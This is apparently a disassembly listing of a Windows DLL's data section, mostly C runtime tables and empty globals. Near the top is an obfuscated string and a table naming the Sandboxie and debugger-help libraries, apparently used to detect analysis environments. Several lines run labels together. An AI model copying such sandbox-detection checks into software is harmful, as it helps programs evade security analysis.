aGAAqAnBa	db 'ߣ |a[Nٲ؁A',0 ; DATA XREF: sub_10001D53+517o
					; sub_10001D53+52Ao ...
		align 4
		dd offset aSbiedll_dll	; "SbieDll.dll"
		dd offset aDbghelp_dll	; "dbghelp.dll"
aDbghelp_dll	db 'dbghelp.dll',0      ; DATA XREF: .data:10008318o
aSbiedll_dll	db 'SbieDll.dll',0      ; DATA XREF: .data:10008314o
		align 10h
dword_10008340	dd 19930520h, 3	dup(0)					; __NLG_Notify+2o
off_10008350	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_10008354	dd 2							; __NMSG_WRITE+46r
		dd 10h,	0
off_10008360	dd offset off_10008360	; DATA XREF: sub_10003E31+Do
					; sub_10003E31+69o ...
off_10008364	dd offset off_10008360	; DATA XREF: sub_10003E31:loc_10003EB1r
					; sub_10003E31+89w ...
		dd offset dword_10008378
		dd offset dword_10008378
dword_10008370	dd 0FFFFFFFFh						; sub_10003F75:loc_10003FC2w
		dd 0FFFFFFFFh
dword_10008378	dd 0F0h, 0F1h, 800h dup(0)					; .data:1000836Co
off_1000A380	dd offset off_10008360	; DATA XREF: sub_10003F75+15r
					; sub_10003F75+20w ...
dword_1000A384	dd 1E0h							; sub_100056EF:loc_1000572Br
dword_1000A388	dd 0C0000005h						; _xcptlookup+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_1000A400	dd 3		dword_1000A404	dd 7		dword_1000A408	dd 0Ah		dword_1000A40C	dd 8Ch							; __XcptFilter+8Fw ...
		dd 0FFFFFFFFh, 0A00h
dword_1000A418	dd 2							; __NMSG_WRITE+28r
off_1000A41C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
					; __NMSG_WRITE+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 1000733Ch, 9, 10007310h, 0Ah, 100072ECh, 10h, 100072C0h
		dd 11h,	10007290h, 12h,	1000726Ch, 13h,	10007240h, 18h
		dd 10007208h, 19h, 100071E0h, 1Ah, 100071A8h, 1Bh, 10007170h
		dd 1Ch,	10007148h, 78h,	10007138h, 79h,	10007128h, 7Ah
		dd 10007118h, 0FCh, 10007114h, 0FFh, 10007104h
dword_1000A4A8	dd 2 dup(0)	byte_1000A4B0	db 1			; DATA XREF: __setmbcp+E1r
		db 2, 4, 8
		align 8
dword_1000A4B8	dd 3A4h		dword_1000A4BC	dd 82798260h			dd 21h,	0
dword_1000A4C8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_1000A5A8	dd 2 dup(0)	off_1000A5B0	dd offset __wctype+2	; DATA XREF: _strtoxl:loc_10004EE9r
					; _strtoxl:loc_10004FA6r ...
		dd offset __wctype+2
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: _x_ismbbtype+18r
					; .data:off_1000A5B0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_1000A7BC	dd 1							; _strtoxl:loc_10004F8Er ...
		dd 2Eh,	1
dword_1000A7C8	dd 0							; sub_10002366+1D9w ...
dword_1000A7CC	dd 0							; sub_10002366+C3w ...
dword_1000A7D0	dd 0							; sub_10001A2B+263r ...
dword_1000A7D4	dd 0							; sub_10002366+86w ...
dword_1000A7D8	dd 0							; sub_10002366+30Er
dword_1000A7DC	dd 0							; sub_10002366+1ECw ...
dword_1000A7E0	dd 0							; sub_10002885+79r
		align 8
dword_1000A7E8	dd 0							; sub_10002366+3B8r
dword_1000A7EC	dd 0							; sub_10002366+412r
dword_1000A7F0	dd 0							; sub_10002366+B0w ...
dword_1000A7F4	dd 0							; sub_10002366+D6w ...
dword_1000A7F8	dd 0							; sub_10002366+3E5r ...
dword_1000A7FC	dd 0							; sub_10002366+EDw ...
dword_1000A800	dd 0							; sub_10002366+176w ...
dword_1000A804	dd 0							; sub_10002366+100w ...
dword_1000A808	dd 0							; sub_10002366+73w ...
dword_1000A80C	dd 0							; sub_10002366+43r ...
		dd 0
dword_1000A814	dd 0							; sub_10002885+10r
dword_1000A818	dd 0							; sub_10002366+3DCr ...
dword_1000A81C	dd 0							; sub_10002366+3AFr
dword_1000A820	dd 0							; sub_10002366+3F7r ...
dword_1000A824	dd 0							; sub_10002366+139w ...
dword_1000A828	dd 0							; sub_10002366+20r ...
dword_1000A82C	dd 0							; sub_10002366+3C1r
dword_1000A830	dd 0							; sub_10002366+126w ...
dword_1000A834	dd 0							; sub_10002366+409r
dword_1000A838	dd 0							; sub_10001A2B+110r ...
dword_1000A83C	dd 0							; sub_10001A2B+1DAr ...
dword_1000A840	dd 0							; sub_10002366+400r ...
dword_1000A844	dd 0							; sub_10002366+41Br
dword_1000A848	dd 0							; sub_10002366+3A6r
dword_1000A84C	dd 0							; sub_10001A2B+28Ar ...
dword_1000A850	dd 0							; sub_10002366+3EEr ...
dword_1000A854	dd 0							; sub_10002885+9Dr
dword_1000A858	dd 0							; sub_10002366+49w ...
; char dword_1000A85C[]
dword_1000A85C	dd 0		; char *Str
Str		dd 0			; DATA XREF: start+84w
					; __setenvp:loc_10004745r ...
		align 8
dword_1000A868	dd 0							; _fast_error_exitr ...
dword_1000A86C	dd 0		dword_1000A870	dd 0							; _mallocr
dword_1000A874	dd 0							; sub_100040E4+2Dw ...
dword_1000A878	dd 0				dd 2 dup(0)
dword_1000A884	dd 0		dword_1000A888	dd 0		dword_1000A88C	dd 0		dword_1000A890	dd 0		dword_1000A894	dd 0		dword_1000A898	dd 0				align 10h
dword_1000A8A0	dd 0				align 10h
dword_1000A8B0	dd 0				align 8
byte_1000A8B8	db 0			; DATA XREF: _doexit+2Dw
		align 4
dword_1000A8BC	dd 0		dword_1000A8C0	dd 0		dword_1000A8C4	dd 0							; __XcptFilter+46w ...
dword_1000A8C8	dd 41h dup(0)	dword_1000A9CC	dd 0							; ___crtGetEnvironmentStringsA+23w ...
dword_1000A9D0	dd 0		dword_1000A9D4	dd 0							; _getSystemCP+4w ...
dword_1000A9D8	dd 0							; ___crtMessageBoxA+2Ew ...
dword_1000A9DC	dd 0							; ___crtMessageBoxA:loc_10005AF4r
dword_1000A9E0	dd 0							; ___crtMessageBoxA+60r
		dd 2 dup(0)
dword_1000A9EC	dd 0				dd 3 dup(0)
dword_1000A9FC	dd 0							; ___crtLCMapStringA+C0r ...
		dd 0
dword_1000AA04	dd 0							; ___crtLCMapStringA+4Cw ...
dword_1000AA08	dd 0							; ___crtGetStringTypeA:loc_10006028w
dword_1000AA0C	dd 0							; __setmbcp+65w ...
dword_1000AA10	dd 3 dup(0)						; __setmbcp+171o ...
dword_1000AA1C	dd 0							; __setmbcp+15Dw ...
byte_1000AA20	db 0			; DATA XREF: _setSBUpLow:loc_1000561Cw
					; _setSBUpLow:loc_10005639w ...
		align 4
		dd 3Fh dup(0)
byte_1000AB20	db 0			; DATA XREF: __setmbcp+5Co
					; __setmbcp+AFo ...
byte_1000AB21	db 0			; DATA XREF: _parse_cmdline+3Fr
					; _parse_cmdline+84r ...
		align 4
		dd 40h dup(0)
dword_1000AC24	dd 0							; __setmbcp+12Bw ...
		dd 6 dup(0)
dword_1000AC40	dd 0							; __ioinit+45r	...
dword_1000AC44	dd 3Fh dup(0)	dword_1000AD40	dd 0							; __ioinit:loc_10004BF5r ...
dword_1000AD44	dd 0		dword_1000AD48	dd 0		dword_1000AD4C	dd 0		dword_1000AD50	dd 0		dword_1000AD54	dd 0		dword_1000AD58	dd 0							; ___sbh_alloc_new_region+5r ...
dword_1000AD5C	dd 0							; sub_10003653+25Ar ...
dword_1000AD60	dd 0							; sub_10003653+311w ...
dword_1000AD64	dd 0							; sub_10003653+22Dr ...
dword_1000AD68	dd 0							; ___sbh_find_blockr ...
dword_1000AD6C	dd 0							; ___sbh_find_block+8r	...
dword_1000AD70	dd 0							; ___sbh_heap_init+36w	...
dword_1000AD74	dd 0							; sub_10002E9C+5Ar ...
dword_1000AD78	dd 0							; sub_10002E9C+Cr ...
dword_1000AD7C	dd 0				align 100h
_data		ends

; Section 4. (virtual address 0000B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0000AE00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 1000B000h
		align 2000h
_idata2		ends


		end start